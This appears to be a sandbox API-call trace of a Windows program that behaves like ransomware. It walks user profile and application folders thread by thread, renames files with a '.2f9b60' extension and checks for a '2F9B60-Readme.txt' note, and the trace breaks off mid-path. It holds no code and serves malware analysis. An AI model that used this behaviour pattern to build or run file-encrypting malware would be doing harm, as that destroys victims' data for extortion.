wcscat (in: _Dest=0x431840c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\a2f2e15243c9bdf2bac.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\a2f2e15243c9bdf2bac.2f9b60" [0209.138] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\a2f2e15243c9bdf2bac.2f9b60", NtPathName=0x1e63fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\a2f2e15243c9bdf2bac.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0209.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x43116c60 [0220.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43116c60) returned 1 [0220.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432250b0) returned 1 [0220.321] NtQueryInformationFile (in: FileHandle=0xab0, IoStatusBlock=0x1e63fc98, FileInformation=0x1e63fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e63fc98, FileInformation=0x1e63fca8) returned 0x0 [0220.321] NtSetInformationFile (FileHandle=0xab0, IoStatusBlock=0x1e63fc98, FileInformation=0x1e63fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431840c0) returned 1 [0222.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16500) returned 1 [0222.819] FlushFileBuffers (hFile=0xab0) returned 1 [0223.998] CloseHandle (hObject=0xab0) returned 1 [0224.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x43107650 [0224.868] wcscpy (in: _Dest=0x43107650, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0224.868] wcscat (in: _Dest=0x43107650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\2F9B60-Readme.txt" [0224.868] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\2f9b60-readme.txt")) returned 0x20 [0225.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43107650) returned 1 [0225.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afcd0) returned 1 Thread: id = 2261 os_tid = 0x5b4 [0143.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20507f50 [0143.161] wcscpy (in: _Dest=0x20507f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0143.161] wcscat (in: _Dest=0x20507f50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0143.161] wcscat (in: _Dest=0x20507f50, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0143.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502a10 [0143.161] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x20502a10 | out: lpFindFileData=0x20502a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d5b0 [0143.162] wcscmp (_String1=".", _String2=".") returned 0 [0143.162] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x20502a10 | out: lpFindFileData=0x20502a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.162] wcscmp (_String1="..", _String2=".") returned 1 [0143.162] wcscmp (_String1="..", _String2="..") returned 0 [0143.162] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x20502a10 | out: lpFindFileData=0x20502a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0143.162] wcscmp (_String1="#SharedObjects", _String2=".") returned -1 [0143.162] wcscmp (_String1="#SharedObjects", _String2="..") returned -1 [0143.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279f70 [0143.162] wcscpy (in: _Dest=0x20279f70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0143.162] wcscat (in: _Dest=0x20279f70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0143.162] wcscat (in: _Dest=0x20279f70, _Source="#SharedObjects" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0150.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20279f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2298 [0150.850] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x20502a10 | out: lpFindFileData=0x20502a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0150.850] wcscmp (_String1="macromedia.com", _String2=".") returned 1 [0150.850] wcscmp (_String1="macromedia.com", _String2="..") returned 1 [0150.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202791f0 [0150.850] wcscpy (in: _Dest=0x202791f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0150.850] wcscat (in: _Dest=0x202791f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0150.850] wcscat (in: _Dest=0x202791f0, _Source="macromedia.com" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0150.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202791f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x229c [0150.851] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x20502a10 | out: lpFindFileData=0x20502a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0150.851] FindClose (in: hFindFile=0x1cd9d5b0 | out: hFindFile=0x1cd9d5b0) returned 1 [0150.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502a10) returned 1 [0150.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507f50) returned 1 [0150.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b14b0) returned 1 Thread: id = 2262 os_tid = 0xa78 [0143.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205ec10 [0143.164] wcscpy (in: _Dest=0x4205ec10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0143.164] wcscat (in: _Dest=0x4205ec10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\" [0143.164] wcscat (in: _Dest=0x4205ec10, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" [0143.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502c80 [0143.164] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0143.165] wcscmp (_String1=".", _String2=".") returned 0 [0143.165] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.165] wcscmp (_String1="..", _String2=".") returned 1 [0143.165] wcscmp (_String1="..", _String2="..") returned 0 [0143.165] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.165] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0143.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502c80) returned 1 [0143.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ec10) returned 1 [0143.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119170) returned 1 Thread: id = 2263 os_tid = 0x388 [0143.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420613b0 [0143.168] wcscpy (in: _Dest=0x420613b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" [0143.168] wcscat (in: _Dest=0x420613b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" [0143.168] wcscat (in: _Dest=0x420613b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*" [0143.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502c80 [0143.168] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0143.169] wcscmp (_String1=".", _String2=".") returned 0 [0143.169] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.169] wcscmp (_String1="..", _String2=".") returned 1 [0143.169] wcscmp (_String1="..", _String2="..") returned 0 [0143.169] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0143.169] wcscmp (_String1="ACECache11.lst", _String2=".") returned 1 [0143.169] wcscmp (_String1="ACECache11.lst", _String2="..") returned 1 [0143.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507eb0 [0143.169] wcscpy (in: _Dest=0x20507eb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" [0143.169] wcscat (in: _Dest=0x20507eb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" [0143.169] wcscat (in: _Dest=0x20507eb0, _Source="ACECache11.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" [0151.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2474 [0151.209] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0151.209] wcscmp (_String1="Profiles", _String2=".") returned 1 [0151.210] wcscmp (_String1="Profiles", _String2="..") returned 1 [0151.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86b0d0 [0151.210] wcscpy (in: _Dest=0x1b86b0d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" [0151.210] wcscat (in: _Dest=0x1b86b0d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" [0151.210] wcscat (in: _Dest=0x1b86b0d0, _Source="Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0151.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86b0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2478 [0151.211] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0151.211] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0151.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502c80) returned 1 [0151.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0151.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 Thread: id = 2264 os_tid = 0xa90 [0143.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1ce59f30 [0143.170] wcscpy (in: _Dest=0x1ce59f30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" [0143.170] wcscat (in: _Dest=0x1ce59f30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\" [0143.170] wcscat (in: _Dest=0x1ce59f30, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*" [0143.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502ef0 [0143.170] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dbb0 [0143.171] wcscmp (_String1=".", _String2=".") returned 0 [0143.171] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.171] wcscmp (_String1="..", _String2=".") returned 1 [0143.171] wcscmp (_String1="..", _String2="..") returned 0 [0143.171] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0143.171] wcscmp (_String1="10.0", _String2=".") returned 1 [0143.171] wcscmp (_String1="10.0", _String2="..") returned 1 [0143.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x20509c30 [0143.171] wcscpy (in: _Dest=0x20509c30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" [0143.171] wcscat (in: _Dest=0x20509c30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\" [0143.171] wcscat (in: _Dest=0x20509c30, _Source="10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0150.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20509c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c9c [0150.854] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0150.854] FindClose (in: hFindFile=0x1cd9dbb0 | out: hFindFile=0x1cd9dbb0) returned 1 [0150.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502ef0) returned 1 [0150.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59f30) returned 1 [0150.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 Thread: id = 2265 os_tid = 0x708 [0143.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x202795b0 [0143.172] wcscpy (in: _Dest=0x202795b0, _Source="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package 